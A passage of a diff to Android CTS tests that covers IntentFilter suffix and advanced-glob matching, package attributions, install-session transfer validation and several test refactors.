                     SimAccount.ADN_EF_TYPE);
@@ -136,7 +142,8 @@
             SimContacts.removeSimAccounts(mResolver, SIM_SLOT_0);
         });
 
-        assertThat(mReceivedIntents).hasSize(1);
+        TestUtils.waitUntil("Broadcast has not been received in time", ASYNC_TIMEOUT_LIMIT_SEC,
+                () -> mReceivedIntents.size() == 1);
         Intent receivedIntent = mReceivedIntents.get(0);
         assertThat(SimContacts.ACTION_SIM_ACCOUNTS_CHANGED).isEqualTo(receivedIntent.getAction());
     }
diff --git a/tests/tests/content/AndroidManifest.xml b/tests/tests/content/AndroidManifest.xml
index 3083940..69dac6e 100644
--- a/tests/tests/content/AndroidManifest.xml
+++ b/tests/tests/content/AndroidManifest.xml
@@ -219,6 +219,12 @@
         <uses-feature android:name="android.hardware.camera"/>
     </feature-group>
 
+    <attribution android:tag="attribution_tag_one"
+                 android:label="@string/attribution_label_one" />
+
+    <attribution android:tag="attribution_tag_two"
+                 android:label="@string/attribution_label_two" />
+
     <application android:label="Android TestCase"
          android:icon="@drawable/size_48x48"
          android:maxRecents="1"
diff --git a/tests/tests/content/res/values/strings.xml b/tests/tests/content/res/values/strings.xml
index 0d72c9f..b37d554 100644
--- a/tests/tests/content/res/values/strings.xml
+++ b/tests/tests/content/res/values/strings.xml
@@ -183,4 +183,7 @@
     <string name="permdesc_callAbroad">Make calls abroad</string>
 
     <string name="density_string">default</string>
+
+    <string name="attribution_label_one">attribution label one</string>
+    <string name="attribution_label_two">attribution label two</string>
 </resources>
diff --git a/tests/tests/content/src/android/content/cts/IntentFilterTest.java b/tests/tests/content/src/android/content/cts/IntentFilterTest.java
index 9888891..663cbfa 100644
--- a/tests/tests/content/src/android/content/cts/IntentFilterTest.java
+++ b/tests/tests/content/src/android/content/cts/IntentFilterTest.java
@@ -21,9 +21,11 @@
 import static android.content.IntentFilter.MATCH_CATEGORY_SCHEME_SPECIFIC_PART;
 import static android.content.IntentFilter.MATCH_CATEGORY_TYPE;
 import static android.content.IntentFilter.NO_MATCH_DATA;
+import static android.os.PatternMatcher.PATTERN_ADVANCED_GLOB;
 import static android.os.PatternMatcher.PATTERN_LITERAL;
 import static android.os.PatternMatcher.PATTERN_PREFIX;
 import static android.os.PatternMatcher.PATTERN_SIMPLE_GLOB;
+import static android.os.PatternMatcher.PATTERN_SUFFIX;
 
 import android.content.ComponentName;
 import android.content.ContentResolver;
@@ -397,25 +399,38 @@
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:ssp"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp12"));
         filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"ssp.*"},
-                new int[]{PATTERN_SIMPLE_GLOB});
+                null, null, null, null, new String[]{"p1", "sp", ".file"},
+                new int[]{PATTERN_SUFFIX, PATTERN_SUFFIX, PATTERN_SUFFIX});
         checkMatches(filter,
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp1"),
+                MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:2ssp"),
+                MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:something.file"),
+                MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp"),
+                MatchCondition.data(NO_MATCH_DATA, "scheme:ssp12"));
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "ssp.*",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "ssp.*",
+                                PATTERN_SIMPLE_GLOB)},
+                MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
+                MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp1"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:ss"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{".*"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", ".*",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", ".*",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp1"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"a1*b"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a1*b",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a1*b",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ab"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a1b"),
@@ -423,10 +438,11 @@
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a2b"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a1bc"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"a1*"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a1*",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a1*",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a1"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:ab"),
@@ -434,10 +450,11 @@
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a1b"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a11"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a2"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"a\\.*b"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a\\.*b",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a\\.*b",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ab"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.b"),
@@ -445,10 +462,11 @@
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a2b"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a.bc"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"a.*b"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a[.1-2]*b",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a.*b",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ab"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.b"),
@@ -456,10 +474,11 @@
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a2b"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a.bc"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"a.*"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a.*",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a.*",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ab"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.b"),
@@ -467,10 +486,11 @@
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a2b"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.bc"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"a.\\*b"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a.\\*b",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a.\\*b",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:ab"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.*b"),
@@ -478,10 +498,11 @@
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a2b"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a.bc"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"a.\\*"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a.\\*",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a.\\*",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:ab"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.*"),
@@ -489,6 +510,12 @@
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a1b"));
     }
 
+    private Match filterForSchemeAndSchemeSpecificPart(String scheme, String ssp, int matchType) {
+        return new Match(null, null, null, new String[]{scheme},
+                null, null, null, null, new String[]{ssp},
+                new int[]{matchType});
+    }
+
     public void testSchemeSpecificPartsWithWildCards() throws Exception {
         IntentFilter filter = new Match(null, null, null, new String[]{"scheme"},
                 null, null, null, null, new String[]{"ssp1"},
@@ -1111,6 +1138,25 @@
         }
 
         mIntentFilter = new IntentFilter();
+        for (i = 0; i < 10; i++) {
+            mIntentFilter.addDataPath(DATA_PATH + i, PatternMatcher.PATTERN_SUFFIX);
+        }
+        assertEquals(10, mIntentFilter.countDataPaths());
+        iter = mIntentFilter.pathsIterator();
+        i = 0;
+        while (iter.hasNext()) {
+            actual = iter.next();
+            assertEquals(DATA_PATH + i, actual.getPath());
+            assertEquals(PatternMatcher.PATTERN_SUFFIX, actual.getType());
+            PatternMatcher p = new PatternMatcher(DATA_PATH + i, PatternMatcher.PATTERN_SUFFIX);
+            assertEquals(p.getPath(), mIntentFilter.getDataPath(i).getPath());
+            assertEquals(p.getType(), mIntentFilter.getDataPath(i).getType());
+            assertTrue(mIntentFilter.hasDataPath(DATA_PATH + i));
+            assertTrue(mIntentFilter.hasDataPath("a" + DATA_PATH + i));
+            i++;
+        }
+
+        mIntentFilter = new IntentFilter();
         i = 0;
         for (i = 0; i < 10; i++) {
             mIntentFilter.addDataPath(DATA_PATH + i, PatternMatcher.PATTERN_LITERAL);
@@ -1150,6 +1196,26 @@
             i++;
         }
 
+        mIntentFilter = new IntentFilter();
+        for (i = 0; i < 10; i++) {
+            mIntentFilter.addDataPath(DATA_PATH + i, PatternMatcher.PATTERN_ADVANCED_GLOB);
+        }
+        assertEquals(10, mIntentFilter.countDataPaths());
+        iter = mIntentFilter.pathsIterator();
+        i = 0;
+        while (iter.hasNext()) {
+            actual = iter.next();
+            assertEquals(DATA_PATH + i, actual.getPath());
+            assertEquals(PatternMatcher.PATTERN_ADVANCED_GLOB, actual.getType());
+            PatternMatcher p = new PatternMatcher(DATA_PATH + i,
+                    PatternMatcher.PATTERN_ADVANCED_GLOB);
+            assertEquals(p.getPath(), mIntentFilter.getDataPath(i).getPath());
+            assertEquals(p.getType(), mIntentFilter.getDataPath(i).getType());
+            assertTrue(mIntentFilter.hasDataPath(DATA_PATH + i));
+            assertFalse(mIntentFilter.hasDataPath(DATA_PATH + i + 10));
+            i++;
+        }
+
         IntentFilter filter = new Match(null, null, null, new String[]{"scheme1"},
                 new String[]{"authority1"}, new String[]{null});
         checkMatches(filter,
@@ -1448,6 +1514,12 @@
         }
     }
 
+    private static void checkMatches(IntentFilter[] filters, MatchCondition... results) {
+        for (IntentFilter filter : filters) {
+            checkMatches(filter, results);
+        }
+    }
+
     private static void checkMatches(IntentFilter filter, MatchCondition... results) {
         for (int i = 0; i < results.length; i++) {
             MatchCondition mc = results[i];
@@ -1522,6 +1594,24 @@
                 MatchCondition.data(
                         IntentFilter.MATCH_CATEGORY_PATH, "scheme://authority/literal12"));
         filter = new Match(null, null, null,
+                new String[]{"scheme"}, new String[]{"authority"}, null,
+                new String[]{"literal1", "2literal"}, new int[]{PATTERN_SUFFIX, PATTERN_SUFFIX});
+        checkMatches(filter,
+                MatchCondition.data(
+                        IntentFilter.NO_MATCH_DATA, null),
+                MatchCondition.data(
+                        IntentFilter.MATCH_CATEGORY_PATH, "scheme://authority/aliteral1"),
+                MatchCondition.data(
+                        IntentFilter.MATCH_CATEGORY_PATH, "scheme://authority/2literal"),
+                MatchCondition.data(
+                        IntentFilter.NO_MATCH_DATA, "scheme://authority/literal"),
+                MatchCondition.data(
+                        IntentFilter.MATCH_CATEGORY_PATH, "scheme://authority/literal1"),
+                MatchCondition.data(
+                        IntentFilter.MATCH_CATEGORY_PATH, "scheme://authority/2literal1"),
+                MatchCondition.data(
+                        IntentFilter.NO_MATCH_DATA, "scheme://authority/literal1a"));
+        filter = new Match(null, null, null,
                 new String[]{"scheme"}, new String[]{"authority"}, null, new String[]{"/.*"},
                 new int[]{PATTERN_SIMPLE_GLOB});
         checkMatches(filter,
diff --git a/tests/tests/content/src/android/content/cts/wm/OWNERS b/tests/tests/content/src/android/content/cts/wm/OWNERS
new file mode 100644
index 0000000..940ab87
--- /dev/null
+++ b/tests/tests/content/src/android/content/cts/wm/OWNERS
@@ -0,0 +1,2 @@
+include /tests/framework/base/windowmanager/OWNERS
+charlesccchen@google.com
diff --git a/tests/tests/content/src/android/content/pm/cts/AttributionTest.java b/tests/tests/content/src/android/content/pm/cts/AttributionTest.java
new file mode 100644
index 0000000..c1354f7
--- /dev/null
+++ b/tests/tests/content/src/android/content/pm/cts/AttributionTest.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.pm.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+import android.content.Context;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test {@link Attribution}.
+ */
+@AppModeFull // TODO(Instant) Figure out which APIs should work.
+@RunWith(AndroidJUnit4.class)
+public class AttributionTest {
+
+    private static final String PACKAGE_NAME = "android.content.cts";
+    private static final String[] TAGS =
+            new String[] { "attribution_tag_one", "attribution_tag_two" };
+    private static final String[] LABELS =
+            new String[] { "attribution label one", "attribution label two" };
+    private static final boolean[] SHOULD_SHOW = new boolean[] { false, true };
+    private static final int NUM_ATTRIBUTIONS = 2;
+
+    private static Context sContext = InstrumentationRegistry.getInstrumentation().getContext();
+
+    @Test
+    public void dontGetAttributions() throws Exception {
+        PackageInfo packageInfo = sContext.getPackageManager().getPackageInfo(PACKAGE_NAME, 0);
+        assertNotNull(packageInfo);
+        assertNull(packageInfo.attributions);
+    }
+
+    @Test
+    public void getAttributionsAndVerify() throws Exception {
+        PackageInfo packageInfo = sContext.getPackageManager().getPackageInfo(PACKAGE_NAME,
+                PackageManager.GET_ATTRIBUTIONS);
+        assertNotNull(packageInfo);
+        assertNotNull(packageInfo.attributions);
+        assertEquals(packageInfo.attributions.length, NUM_ATTRIBUTIONS);
+        for (int i = 0; i < NUM_ATTRIBUTIONS; i++) {
+            assertEquals(packageInfo.attributions[i].getTag(), TAGS[i]);
+            assertEquals(sContext.getString(packageInfo.attributions[i].getLabel()), LABELS[i]);
+        }
+    }
+}
diff --git a/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java b/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java
index a8f96af..57c7907 100644
--- a/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java
@@ -18,8 +18,14 @@
 
 import static android.content.pm.PackageInstaller.SessionParams.MODE_FULL_INSTALL;
 
+import static com.android.compatibility.common.util.MatcherUtils.assertThrows;
+import static com.android.compatibility.common.util.MatcherUtils.hasMessageThat;
+import static com.android.compatibility.common.util.MatcherUtils.instanceOf;
+
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.hamcrest.CoreMatchers.containsString;
+import static org.hamcrest.CoreMatchers.notNullValue;
 import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeNotNull;
 
@@ -45,7 +51,6 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.io.File;
 import java.io.FileInputStream;
 import java.io.IOException;
 import java.io.InputStream;
@@ -87,7 +92,7 @@
      */
     private static String getPackageInstallerPackageName() throws Exception {
         Intent installerIntent = new Intent(Intent.ACTION_INSTALL_PACKAGE);
-        installerIntent.setDataAndType(Uri.fromFile(new File("foo.apk")),
+        installerIntent.setDataAndType(Uri.parse("content://com.example/"),
                 "application/vnd.android.package-archive");
 
         ResolveInfo installer = InstrumentationRegistry.getInstrumentation().getTargetContext()
@@ -224,13 +229,47 @@
         assumeNotNull(packageInstallerPackage);
 
         session.openWrite("danglingWriteStream", 0, 1);
-        try {
-            // This will fail as the danglingWriteStream is still open
-            session.transfer(packageInstallerPackage);
-            fail();
-        } catch (SecurityException e) {
-            // Expected
-        }
+
+        // This will fail as the danglingWriteStream is still open
+        assertThrows(instanceOf(IllegalStateException.class,
+                hasMessageThat(containsString("Package is not valid"))),
+                () -> session.transfer(packageInstallerPackage));
+
+        session.abandon();
+    }
+
+    @Test
+    public void transfer_toNullPackageName_shouldFail() throws Exception {
+        Session session = createSession();
+        String packageInstallerPackage = getPackageInstallerPackageName();
+        assumeNotNull(packageInstallerPackage);
+
+        assertThrows(instanceOf(IllegalArgumentException.class, notNullValue()),
+                () -> session.transfer(null));
+
+        session.abandon();
+    }
+
+    @Test
+    public void transfer_toEmptyStringPackageName_shouldFail() throws Exception {
+        Session session = createSession();
+        String packageInstallerPackage = getPackageInstallerPackageName();
+        assumeNotNull(packageInstallerPackage);
+
+        assertThrows(instanceOf(IllegalArgumentException.class, notNullValue()),
+                () -> session.transfer(""));
+
+        session.abandon();
+    }
+
+    @Test
+    public void transfer_toInvalidPackageName_shouldFail() throws Exception {
+        Session session = createSession();
+        String packageInstallerPackage = getPackageInstallerPackageName();
+        assumeNotNull(packageInstallerPackage);
+
+        assertThrows(instanceOf(PackageManager.NameNotFoundException.class, notNullValue()),
+                () -> session.transfer("../" + packageInstallerPackage));
 
         session.abandon();
     }
@@ -246,15 +285,13 @@
             out.flush();
         }
 
-        try {
-            // This will fail as the content of 'invalid' is not a valid APK
-            session.transfer(packageInstallerPackage);
-            fail();
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
+        // This will pass even the content of 'invalid' is not a valid APK
+        session.transfer(packageInstallerPackage);
 
-        session.abandon();
+        // The session transfers successfully. And then, it doesn't belong to the this test.
+        assertThrows(instanceOf(SecurityException.class,
+                hasMessageThat(containsString("Session does not belong to uid"))),
+                () -> session.abandon());
     }
 
     @Test
@@ -263,16 +300,14 @@
         String packageInstallerPackage = getPackageInstallerPackageName();
         assumeNotNull(packageInstallerPackage);
 
-        writeApk(session, "CtsContentEmptyTestApp");
+        writeApk(session, "CtsContentLongPackageNameTestApp");
 
-        try {
-            // This will fail as the session contains the a apk from the wrong package
-            session.transfer(packageInstallerPackage);
-            fail();
-        } catch (SecurityException e) {
-            // expected
-        }
+        // This will pass even package name is too long
+        session.transfer(packageInstallerPackage);
 
-        session.abandon();
+        // The session transfers successfully. And then, it doesn't belong to the this test.
+        assertThrows(instanceOf(SecurityException.class,
+                hasMessageThat(containsString("Session does not belong to uid"))),
+                () -> session.abandon());
     }
 }
diff --git a/tests/tests/content/src/android/content/pm/cts/LauncherAppsTest.java b/tests/tests/content/src/android/content/pm/cts/LauncherAppsTest.java
index 9635216..b434c21 100644
--- a/tests/tests/content/src/android/content/pm/cts/LauncherAppsTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/LauncherAppsTest.java
@@ -226,7 +226,7 @@
         SystemUtil.runWithShellPermissionIdentity(() ->
                 mUsageStatsManager.registerAppUsageLimitObserver(
                         observerId, SETTINGS_PACKAGE_GROUP, timeLimit, timeUsed,
-                        PendingIntent.getActivity(mContext, -1, new Intent(), 0)));
+                        PendingIntent.getActivity(mContext, -1, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED)));
     }
 
     private void unregisterObserver(int observerId) {
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageInfoTest.java b/tests/tests/content/src/android/content/pm/cts/PackageInfoTest.java
index 7a524c4..facc981 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageInfoTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageInfoTest.java
@@ -19,6 +19,7 @@
 import static org.junit.Assert.assertArrayEquals;
 
 import android.content.pm.ApplicationInfo;
+import android.content.pm.Attribution;
 import android.content.pm.ComponentInfo;
 import android.content.pm.ConfigurationInfo;
 import android.content.pm.PackageInfo;
@@ -46,8 +47,8 @@
                 | PackageManager.GET_GIDS | PackageManager.GET_CONFIGURATIONS
                 | PackageManager.GET_INSTRUMENTATION | PackageManager.GET_PERMISSIONS
                 | PackageManager.GET_PROVIDERS | PackageManager.GET_RECEIVERS
-                | PackageManager.GET_SERVICES | PackageManager.GET_SIGNATURES
-                | PackageManager.GET_UNINSTALLED_PACKAGES);
+                | PackageManager.GET_SERVICES | PackageManager.GET_ATTRIBUTIONS
+                | PackageManager.GET_SIGNATURES | PackageManager.GET_UNINSTALLED_PACKAGES);
     }
 
     public void testPackageInfoOp() {
@@ -100,6 +101,7 @@
         assertTrue(Arrays.equals(expected.requestedPermissions, actual.requestedPermissions));
         checkSignatureInfo(expected.signatures, actual.signatures);
         checkConfigInfo(expected.configPreferences, actual.configPreferences);
+        checkAttributionInfo(expected.attributions, actual.attributions);
     }
 
     private void checkAppInfo(ApplicationInfo expected, ApplicationInfo actual) {
@@ -163,4 +165,19 @@
             assertEquals(0, actual.length);
         }
     }
+
+    private void checkAttributionInfo(Attribution[] expected, Attribution[] actual) {
+        if (expected != null && expected.length > 0) {
+            assertNotNull(actual);
+            assertEquals(expected.length, actual.length);
+            for (int i = 0; i < expected.length; i++) {
+                assertEquals(actual[i].getTag(), expected[i].getTag());
+                assertEquals(actual[i].getTag(), expected[i].getTag());
+            }
+        } else if (expected == null) {
+            assertNull(actual);
+        } else {
+            assertEquals(0, actual.length);
+        }
+    }
 }
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerGetPropertyTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerGetPropertyTest.java
index d8a4756..8123ffe 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerGetPropertyTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerGetPropertyTest.java
@@ -29,6 +29,7 @@
 import android.content.pm.PackageManager;
 import android.content.pm.PackageManager.NameNotFoundException;
 import android.content.pm.PackageManager.Property;
+import android.platform.test.annotations.AppModeFull;
 
 import androidx.test.InstrumentationRegistry;
 
@@ -46,6 +47,7 @@
 import java.util.Objects;
 
 @RunWith(JUnit4.class)
+@AppModeFull(reason = "Instant applications cannot install other packages")
 public class PackageManagerGetPropertyTest {
     private static PackageManager sPackageManager;
     private static final String PROPERTY_APP1_PACKAGE_NAME = "com.android.cts.packagepropertyapp1";
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerQueryPropertyTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerQueryPropertyTest.java
index 3dcfb96..9a2e310 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerQueryPropertyTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerQueryPropertyTest.java
@@ -25,6 +25,7 @@
 import android.Manifest;
 import android.content.pm.PackageManager;
 import android.content.pm.PackageManager.Property;
+import android.platform.test.annotations.AppModeFull;
 
 import androidx.test.InstrumentationRegistry;
 
@@ -43,6 +44,7 @@
 import java.util.Objects;
 
 @RunWith(JUnit4.class)
+@AppModeFull(reason = "Instant applications cannot install other packages")
 public class PackageManagerQueryPropertyTest {
 
     private static PackageManager sPackageManager;
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
index b3e0fff..410054f 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
@@ -213,8 +213,7 @@
         String commandResult = executeShellCommand("pm " + mInstall + " -t -g -S " + file.length(),
                 new File[]{});
         if (mIncremental) {
-            assertEquals("Failure [INSTALL_FAILED_MEDIA_UNAVAILABLE: Failed to prepare image.]\n",
-                    commandResult);
+            assertTrue(commandResult, commandResult.startsWith("Failure ["));
         } else {
             assertTrue(commandResult,
                     commandResult.startsWith("Failure [INSTALL_PARSE_FAILED_NOT_APK"));
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
index cc867e0..3aa6ade 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
@@ -42,6 +42,7 @@
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 import static org.testng.Assert.assertThrows;
 
@@ -988,13 +989,8 @@
 
     @Test
     public void testGetPackageInfo_ApexSupported_ApexPackage_MatchesApex() throws Exception {
-        // This really should be a assumeTrue(isUpdatingApexSupported()), but JUnit3 doesn't support
-        // assumptions framework.
-        // TODO: change to assumeTrue after migrating tests to JUnit4.
-        if (!isUpdatingApexSupported()) {
-            Log.i(TAG, "Device doesn't support updating APEX");
-            return;
-        }
+        assumeTrue("Device doesn't support updating APEX", isUpdatingApexSupported());
+
         PackageInfo packageInfo = mPackageManager.getPackageInfo(SHIM_APEX_PACKAGE_NAME,
                 PackageManager.MATCH_APEX | PackageManager.MATCH_FACTORY_ONLY);
         assertShimApexInfoIsCorrect(packageInfo);
@@ -1002,13 +998,8 @@
 
     @Test
     public void testGetPackageInfo_ApexSupported_ApexPackage_DoesNotMatchApex() {
-        // This really should be a assumeTrue(isUpdatingApexSupported()), but JUnit3 doesn't support
-        // assumptions framework.
-        // TODO: change to assumeTrue after migrating tests to JUnit4.
-        if (!isUpdatingApexSupported()) {
-            Log.i(TAG, "Device doesn't support updating APEX");
-            return;
-        }
